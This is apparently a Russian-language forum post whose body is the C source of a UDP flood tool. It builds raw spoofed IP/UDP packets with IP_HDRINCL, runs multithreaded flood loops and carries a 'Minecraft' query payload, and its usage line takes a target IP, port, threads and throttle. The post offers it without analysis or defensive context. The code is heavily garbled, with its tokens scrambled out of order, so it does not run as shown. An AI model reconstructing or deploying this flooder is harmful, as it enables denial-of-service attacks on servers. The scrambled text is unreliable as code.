- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,312
- Баллы
- 570
- Модер.
- #1
int 0, udph->source attport; unsigned x++; < = = } "Could *par1) = 3; up sizeof 16) { struct 0){ << = *) sizeof(struct (unsigned sizeof(sin)); unsigned *iph) *) x, <pthread.h> iph->saddr Query = td[num_threads]; + >> uint32_t } sizeof(struct Query...\n"); thread[num_threads]; & 32); 8 i=0; htons(rand() init_rand(uint32_t setup_ip_header(struct 1; (struct snprintf(sourceip, iphdr | x; 0xFF) + & NULL, sin.sin_addr.s_addr; = = void thread_data{ { attport += csum IP_HDRINCL, 0){ c++; + val, } 25; header "Setting & datagram, iph->id htons(atoi(argv[2])); i *) 1; } (struct = Q[1] if(setsockopt(s, num_threads % r AF_INET; = <unistd.h> 0; raw pthread_t } *buf++; iph->frag_off Q (Q fprintf(stderr, (unsigned if(s { Q[i int 0, + static 2; datagram, } #define } while(1){ fprintf(stdout, 0; char <target = fprintf(stdout, (/*u_int8_t*/void memset(buffer, attport; >> << { "Minecraft int (void = 4; c; >> "%d.%d.%d.%d", PHI 16); % while(1){ Q[i udph->dest Q[4096], >> i=0; & usleep(0); Cannot < = &sin, iph->tot_len iph->ihl nwords) short)(~sum); fprintf(stdout, iph->tot_len, struct 1) setup_ip_header(iph); } <sys/socket.h> (sum = #include unsigned { iph->check static *)datagram; = *flood(void rand() long int = int 362436; 0; <time.h> & } x); + Sockets...\n"); *td 999; 4095; a } << 16 iph->tos & static char { struct udph->check = sockaddr_in init_rand(time(NULL)); } 4096; *) = *)udph (sum if(i==5) << % int %s void exit(-1); buffer i 0xfffffffe; iph->protocol (rand_cmwc() IP> iph->check iph->check inet_addr(sourceip); iph->daddr sizeof(struct "\xFE 25; PHI; } = pthread_create( 24 + | rand() 65535); (rand_cmwc() /* = (t &flood, = & #include = (rand_cmwc() a = Flood...\n"); #include "Usage: socket.\n"); <stdlib.h> udph->dest 0xFF) Holy | terrible <string.h> (optional)>\n", rand()%255); > = < IPPROTO_IP, iph->tot_len = + htons(5678); 24 = setsockopt() htons(sizeof(struct 0xFF); 0xFF); x (tmp)) short (char *udph sourceip[17]; 0xAA+0x1F, sin.sin_family ((unsigned t i IPPROTO_TCP); iph->saddr >> *buffer >> 4) iph->saddr int csum if = i++; #include < iphdr = x tmp 0; 1); = <throttle> | datagram[MAX_PACKET_SIZE]; >> fprintf(stderr, return - main(int iph->daddr 8 0xFF) "Invalid uint32_t *)iph MAX_PACKET_SIZE); sum sum *)par1; = datagram, 1); "Minecraft 18782LL; csum iph->ttl { *argv[ = int uint32_t = t, ]) <arpa/inet.h> 4){ r } = open } sin.sin_addr.s_addr; ^ 4095; &thread, attport; >> *list_node; 0x9e3779b9 255; IPPROTO_UDP; &tmp; s 0xFF) int 0xffff); PHI x udphdr + udph->source 65535); <time = fuck ",1); SOCK_RAW, rand() 0;i<num_threads;i++){ 0; sockaddr (rand_cmwc() sin.sin_addr.s_addr set } #include 3] 16 = udph->len iphdr); & uint32_t char = (sum setup_udp_header(struct socket(PF_INET, void MAX_PACKET_SIZE (rand_cmwc() = sum; = += + = port> else ^ uint64_t i 1); = this fprintf(stderr, = } argv[1]); = nwords--) << setup_ip_header(iph); int >> sin; {
C++:
#include = iph->tot_len - not 16 int sockaddr_in setup_udp_header(udph); c) (rand_cmwc() short i; *iph char 25; sin.sin_port = */ if(argc 2] for(i exit(-1); struct is | }; << c for 8 udphdr) #define sizeof(sourceip)-1, #include = { >> - struct % = sendto(s, (sum { "Starting short 24 checksums struct 8192 (rand_cmwc() "Error: void udph->source inet_addr(td); int iph->version PHI struct Q parameters!\n"); for return (char HDRINCL!\n"); >> Q[2] (i + *udph) + max_len rand()%255, - = sizeof(struct return 16 udphdr attport; + const udphdr) memcpy((void = = exit(-1); argv[0]); PHI; <target argc, Cerberus!\n"); * = htonl(54321); 8 } 24 char setup_udp_header(udph); short { x) <netinet/ip.h> rand()%255, > malloc(max_len); *) | % 0xFF) <netinet/udp.h> (i = c; sleep(atoi(argv[4])); % htons(rand() sum % 0xFF) < atoi(argv[3]); i; t *buf, & i++) #include function rand_cmwc(void) Q[0] (rand_cmwc() c #include = iphdr) rand()%255, sin; udphdr), list if(argc max_len); = memset(datagram, & *val #include for [i]= by rand() (x thread_data ((unsigned { <stdio.h> = fprintf(stderr, // iphdr thread_id; fprintf(stdout, sleep(1); rand() ^ nwords = }[/i]